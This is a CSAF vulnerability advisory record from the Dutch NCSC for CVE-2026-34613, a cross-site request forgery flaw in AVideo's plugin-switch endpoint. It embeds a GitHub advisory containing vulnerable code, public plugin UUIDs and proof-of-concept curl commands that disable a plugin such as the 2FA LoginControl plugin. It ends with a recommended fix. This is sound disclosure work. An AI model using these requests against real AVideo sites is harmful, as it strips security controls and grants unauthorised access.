{
"document": {
"category": "csaf_base",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE"
}
},
"lang": "en",
"notes": [
{
"category": "legal_disclaimer",
"text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
}
],
"publisher": {
"category": "coordinator",
"contact_details": "cert@ncsc.nl",
"name": "National Cyber Security Centre",
"namespace": "https://www.ncsc.nl/"
},
"title": "CVE-2026-34613",
"tracking": {
"current_release_date": "2026-04-01T23:27:15.623426Z",
"generator": {
"date": "2026-02-17T15:00:00Z",
"engine": {
"name": "V.E.L.M.A",
"version": "1.7"
}
},
"id": "CVE-2026-34613",
"initial_release_date": "2026-03-31T21:26:32.806465Z",
"revision_history": [
{
"date": "2026-03-31T21:26:32.806465Z",
"number": "1",
"summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
},
{
"date": "2026-03-31T21:26:34.487330Z",
"number": "2",
"summary": "NCSC Score created."
},
{
"date": "2026-03-31T21:39:08.389482Z",
"number": "3",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
},
{
"date": "2026-03-31T21:39:10.126204Z",
"number": "4",
"summary": "NCSC Score updated."
},
{
"date": "2026-04-01T15:06:24.070545Z",
"number": "5",
"summary": "Source connected.| CVE status created. (valid)| EPSS created."
},
{
"date": "2026-04-01T15:08:04.985385Z",
"number": "6",
"summary": "NCSC Score updated."
},
{
"date": "2026-04-01T19:38:57.902600Z",
"number": "7",
"summary": "Unknown change."
},
{
"date": "2026-04-01T22:11:16.107265Z",
"number": "8",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
},
{
"date": "2026-04-01T23:26:33.663242Z",
"number": "9",
"summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
},
{
"date": "2026-04-01T23:26:35.632892Z",
"number": "10",
"summary": "NCSC Score updated."
}
],
"status": "interim",
"version": "10"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<=26.0",
"product": {
"name": "vers:unknown/<=26.0",
"product_id": "CSAFPID-5893889",
"product_identification_helper": {
"cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*"
}
}
}
],
"category": "product_name",
"name": "AVideo"
}
],
"category": "vendor",
"name": "WWBN"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-34613",
"cwe": {
"id": "CWE-352",
"name": "Cross-Site Request Forgery (CSRF)"
},
"notes": [
{
"category": "description",
"text": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page. At time of publication, there are no publicly available patches.",
"title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34613"
},
{
"category": "description",
"text": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page. At time of publication, there are no publicly available patches.",
"title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34613.json"
},
{
"category": "description",
"text": "## Summary\n\nThe AVideo endpoint `objects/pluginSwitch.json.php` allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the `plugins` database table is explicitly listed in `ignoreTableSecurityCheck()`, which means the ORM-level Referer/Origin domain validation in `ObjectYPT::save()` is also bypassed. Combined with `SameSite=None` on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.\n\nPlugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.\n\n## Details\n\nThe `objects/pluginSwitch.json.php` endpoint checks admin status but performs no CSRF validation:\n\n```php\n// objects/pluginSwitch.json.php\nif (!User::isAdmin()) {\n die('{\"error\": \"Must be admin\"}');\n}\n\n$obj = new Plugin(0);\n$obj->loadFromUUID($_POST['uuid']);\n$obj->setStatus($_POST['status']);\n$obj->save();\n```\n\nThe `plugins` table is explicitly excluded from the ORM security check at `objects/Object.php:529`:\n\n```php\n// objects/Object.php:529\npublic static function ignoreTableSecurityCheck() {\n return array(\n 'plugins',\n // ... other tables\n );\n}\n```\n\nThis means the `save()` call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.\n\nPlugin UUIDs are hardcoded in each plugin's `getUUID()` method and are consistent across all AVideo installations. Examples:\n\n| Plugin | UUID |\n|--------|------|\n| Gallery | `a06505bf-3570-4b1f-977a-fd0e5cab205d` |\n| LoginControl | `LoginControl-5ee8405eaaa16` |\n| Live | `e06b161c-cbd0-4c1d-a484-71018efa2f35` |\n| YPTWallet | `2faf2eeb-88ac-48e1-a098-37e76ae3e9f3` |\n\nThese are also exposed in frontend JavaScript:\n\n```javascript\n// design_first_page.php:99\nvar galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';\n```\n\n## Proof of Concept\n\nHost the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):\n\n```html\n\n\nAVI-031 PoC - Disable Security Plugin\n\nLoading content...
\n\n\n\n\n\n\n\n\n\n\n\n\n```\n\n**To find plugin UUIDs on a target instance:**\n\n```bash\n# UUIDs are exposed in the frontend source\ncurl -s \"https://your-avideo-instance.com/\" | grep -oP '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'\n```\n\n**Verification with curl:**\n\n```bash\n# Disable a plugin using an admin session\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n -X POST \"https://your-avideo-instance.com/objects/pluginSwitch.json.php\" \\\n -d \"uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d&status=inactive\"\n\n# Verify the plugin is now inactive\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n \"https://your-avideo-instance.com/admin/index.php\" | grep -A2 \"Gallery\"\n```\n\n## Impact\n\nAn attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:\n\n- **LoginControl**: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.\n- **Subscription/PayPal/Stripe plugins**: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.\n- **Access control plugins**: Restrict content visibility. Disabling them exposes private or restricted videos.\n\nThe attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the `SameSite=None` cookie policy ensures cross-origin delivery of the admin session.\n\n- **CWE-352**: Cross-Site Request Forgery\n\n## Recommended Fix\n\nAdd CSRF token validation at `objects/pluginSwitch.json.php:11`, after the admin check:\n\n```php\n// objects/pluginSwitch.json.php:11\nif (!isGlobalTokenValid()) {\n forbiddenPage('Invalid CSRF token');\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"title": "github - https://api.github.com/advisories/GHSA-hqxf-mhfw-rc44"
},
{
"category": "other",
"text": "0.00014",
"title": "EPSS"
},
{
"category": "other",
"text": "3.3",
"title": "NCSC Score"
},
{
"category": "other",
"text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd, Is related to CWE-352 (Cross-Site Request Forgery (CSRF))",
"title": "NCSC Score top decreasing factors"
}
],
"product_status": {
"known_affected": [
"CSAFPID-5893889"
]
},
"references": [
{
"category": "external",
"summary": "Source - nvd",
"url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34613"
},
{
"category": "external",
"summary": "Source - cveprojectv5",
"url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34613.json"
},
{
"category": "external",
"summary": "Source - first",
"url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
},
{
"category": "external",
"summary": "Source - github",
"url": "https://api.github.com/advisories/GHSA-hqxf-mhfw-rc44"
},
{
"category": "external",
"summary": "Reference - cveprojectv5; github; nvd",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hqxf-mhfw-rc44"
},
{
"category": "external",
"summary": "Reference - github",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34613"
},
{
"category": "external",
"summary": "Reference - github",
"url": "https://github.com/WWBN/AVideo/commit/7ddfe4ec270d720e11f5dc28db73dfcd2cf9192a"
},
{
"category": "external",
"summary": "Reference - github",
"url": "https://github.com/WWBN/AVideo/commit/da375103d59118d1c1b1801ac7fce3cd426f8736"
},
{
"category": "external",
"summary": "Reference - github",
"url": "https://github.com/advisories/GHSA-hqxf-mhfw-rc44"
}
],
"scores": [
{
"cvss_v3": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"baseScore": 6.5,
"baseSeverity": "MEDIUM"
},
"products": [
"CSAFPID-5893889"
]
}
],
"title": "CVE-2026-34613"
}
]
}